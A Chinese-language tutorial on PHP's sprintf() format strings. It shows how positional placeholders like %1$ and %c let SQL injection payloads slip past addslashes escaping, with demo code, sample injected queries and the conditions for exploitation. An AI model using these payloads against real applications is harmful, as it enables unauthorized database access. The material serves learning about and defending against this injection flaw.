0x01 了解sprintf()函数
1,sprintf(),函数是php中的函数
2,作用是将格式化字符串写入变量中
3,函数形式为sprintf(format,arg1,arg2,arg++)
参数说明:
参数 | 描述 |
format | 必需。规定字符串以及如何格式化其中的变量。 可能的格式值: %% - 返回一个百分号 % %b - 二进制数 %c - ASCII 值对应的字符 %d - 包含正负号的十进制数(负数、0、正数) %e - 使用小写的科学计数法(例如 1.2e+2) %E - 使用大写的科学计数法(例如 1.2E+2) %u - 不包含正负号的十进制数(大于等于 0) %f - 浮点数(本地设置) %F - 浮点数(非本地设置) %g - 较短的 %e 和 %f %G - 较短的 %E 和 %f %o - 八进制数 %s - 字符串 %x - 十六进制数(小写字母) %X - 十六进制数(大写字母) 附加的格式值。必需放置在 % 和字母之间(例如 %.2f): + (在数字前面加上 + 或 - 来定义数字的正负性。默认情况下,只有负数才做标记,正数不做标记) ' (规定使用什么作为填充,默认是空格。它必须与宽度指定器一起使用。例如:%'x20s(使用 "x" 作为填充)) - (左调整变量值) [0-9] (规定变量值的最小宽度) .[0-9] (规定小数位数或最大字符串长度) 注释:如果使用多个上述的格式值,它们必须按照以上顺序使用。 |
arg1 | 必需。规定插到 format 字符串中第一个 % 符号处的参数。 |
arg2 | 可选。规定插到 format 字符串中第二个 % 符号处的参数。 |
arg++ | 可选。规定插到 format 字符串中第三、四等 % 符号处的参数。 |
**若%符号多于arg参数,则需要占位符,占位符格式为“%number\$” 其中number表示该项与第几个arg匹配,如若与第一个匹配 则占位符为“%1\$”
以下是一些例子帮助更好的理解sprintf()函数:
#1.不带占位符的:
<?php $num1=9999; $char=96; echo sprintf("%%b=%b",$num1)."</br>"; echo sprintf("%%c=%c",$char)."</br>"; echo sprintf("%%s=%s",$num1)."</br>"; echo sprintf("%%x=%x",$num1)."</br>"; ?>
输出结果:
%b=10011100001111
%c=`
%s=9999
%x=270f
#2.带有占位符:
<?php //addslashes()函数:在预定义前面加反斜杠,预定义符有单引号('),双引号("),反斜杠(\),NULL $input = addslashes ("%1$' and 1=1#" ); $b = sprintf ("AND b='%s'", $input ); $sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' ); //对$input与$b进行了拼接 //$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' ); //很明显,这个句子里面的\是由addsashes为了转义单引号而加上的,使用%s与%1$\类匹配admin,那么admin只会出现在%s里,%1$\为空 echo $sql ; ?>
运行结果:
SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'
#3.%c的利用
<?php $input1='%1$c) or 1=1 /*'; $input2=39; $sql="select * from foo where bar in('$input1') and baz=%s"; $sql=sprintf($sql,$input2); echo $sql; ?>
运行结果:
select * from foo where bar in('') or 1=1 /*') and baz=39
0x04总结
漏洞利用条件
1、sql语句进行了字符拼接
2、拼接语句和原sql语句都用了vsprintf/sprintf 函数来格式化字符串